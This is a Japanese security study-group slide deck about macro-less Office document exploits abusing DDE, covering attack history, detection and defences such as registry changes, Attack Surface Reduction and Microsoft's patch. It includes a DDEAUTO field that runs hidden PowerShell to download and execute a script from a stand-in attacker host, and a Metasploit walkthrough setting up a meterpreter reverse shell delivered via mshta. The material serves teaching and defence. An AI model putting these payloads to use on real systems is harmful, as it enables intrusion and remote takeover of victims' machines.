SlideShare a Scribd company logo
1 of 28
Download to read offline
DDEを悪⽤する
Macroless Office
Document Exploits
⼤和セキュリティ勉強会
2017/12/23
⽥中ザック
DDEとは?
•“Dynamic Data Exchange”
•1987年からあるIPC⼿法の1つ (Win 2.0+、OS/2)
•例:3rdパーティソフトが.xlsデータにアクセス
•OLEがDDEに取って代わる
•互換性のために残されている(T_T)
•ターゲット→MS Officeドキュメント、その他?:

Word, Excel, Powerpoint, Access, Outlook, OneNote
Macro不要のOffice攻撃
•マクロを悪用する攻撃は昔からある
•メリット:最新版でも脆弱、多くのAVに検知されない

例:Macro/OLE/.HTAによるEmpire感染(悪用禁⽌!)

https://enigma0x3.net/2016/03/15/phishing-with-empire/
•デメリット:⼈を騙す必要がある
•最近マクロに敏感になっている⼈が増えてきたので、

メモリ破損不要かつマクロ不要の攻撃が注目されている
Macro不要のOffice攻撃
•2016/05/20 Sensepost : DDE経由で.xlsからコマンド実⾏

https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
•2017/10/09 Sensepost : DDE経由で.docからコマンド実⾏

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Macro不要のOffice攻撃
挿⼊ → クイックパーツ → フィールド
Macro不要のOffice攻撃
Macro不要のOffice攻撃
• 「!式の終わりが正しくありません。」を

右クリック

フィールドコードの表示/非表示をクリック
• {DDEAUTO c:windowssystem32
cmd.exe "/k calc.exe"  }

を⼊⼒して保存
Macro不要のOffice攻撃
Macro不要のOffice攻撃
(実⾏後に表示↓)
Macro不要のOffice攻撃
{ DDEAUTO c:WindowsSystem32cmd.exe "/k 

powershell.exe -NoP -sta -NonI -W Hidden 

$e=(New-Object System.Net.WebClient).

DownloadString('http://evilserver.ninja/pp.ps1');

powershell -e $e "}
Macro不要のOffice攻撃
Sensepostはマイクロソフトに

Responsible Disclosureしたが、

「これは脆弱性ではなく、仕様です」って

⾔われたから詳細をブログにアップ
Hancitor/Necursボットネット・Locky ランサムウェア
•⼀週間以内にRansomwareが悪用しているという報告

https://www.vmray.com/blog/dde-ransomware-macroless-word-doc-analysis/
巧妙な騙し⽅
Outlookも脆弱
•Calender Invite、RTFメール等でOutlookもターゲット
•※添付ファイルが無いため、AVが検知・防御できない
対策
対策
•MacかLinuxを利用
対策
•メール訓練でユーザ教育 (Selphishとか?)

https://www.selphish.jp/
•※100%ではないので、技術的な対策も必要
検知
•YARAルール

https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/

※回避されるかも
•Windowsイベントログの記録されるかも?
•起動プロセスを記録

https://www.securityforrealpeople.com/2017/10/exploiting-office-native-functionality.html
防御 (Word)
•「⽂書を開いたときにリンクを自動的に更新する」
のチェックを外す
防御 (Office*)
•DDEAutoを無効にする(レジストリを弄る)
•https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b
•注意:Excelがおかしくなる!
•よくテストする必要がある!
防御 (Office*)
•第三者の「micropatch」を適用?
•ソフトが壊れる可能性があるし、

サポートされていないのでおすすめしない
•https://0patch.blogspot.jp/2017/10/0patching-office-dde-ddeauto.html
防御 (Office*)
•Attack Surface Reduction (ASR)を利用(おすすめ!)

※Windows 10のWindows Defender Exploit Guard、EMET5+

https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/windows-defender-exploit-guard
•Email/Webmailの実⾏ファイルをブロック
•オフィスアプリは⼦プロセスを起動できない (今回のOutlook攻撃等は防げない)
•オフィスアプリは実⾏ファイルを作成できない
•オフィスアプリは別プロセスにコードインジェクションできない
•JSとVBScriptから実⾏ファイルをダウンロードできない
•難読化されたスクリプトを実⾏できない
•オフィスマクロからWin32 APIを呼び出せない
MetasploitでDDE攻撃
•wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/
fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
•mv dde_delivery.rb /usr/share/metasploit-framework/modules/exploits/windows/
•msfconsole
•use exploit/windows/dde_delivery 
•set SRVHOST 192.168.177.141
•set PAYLOAD windows/meterpreter/reverse_tcp
•set LHOST 192.168.177.141
•set LPORT 6708
•exploit
•{DDEAUTO C:ProgramsMicrosoftOfficeMSword.exe........windows
system32mshta.exe “http://192.168.177.141:8080/mVg3YDU3gVQ”}を.docに⼊れて送る
•リンク:https://gbhackers.com/exploiting-windows-dde-exploit/ (悪用禁⽌!)
幸いなこと∼
(ペンテスターにとっては残念なこと?)
「マイクロソフトがWordのDDE機能を

デフォルトで無効に。
月例パッチで自動適用」
http://nanashi0x.hatenablog.com/entry/2017/12/16/200000
@0x31_noseをチェック(Linux⼊門とかもある)
ExcelもいつかMSのパッチでデフォルトで

無効になる?
結論
⼀時流⾏っていた

フィッシング攻撃?
マクロを有効にすると

同じようなハードルがあるので微妙
念のため無効にした⽅が安全
ご清聴有難う御座います

More Related Content

Featured

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by HubspotMarius Sescu
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTExpeed Software
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsPixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfmarketingartwork
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsKurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summarySpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project managementMindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...RachelPearson36
 

Featured (20)

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 

DDEを悪用する Macroless Office Document Exploits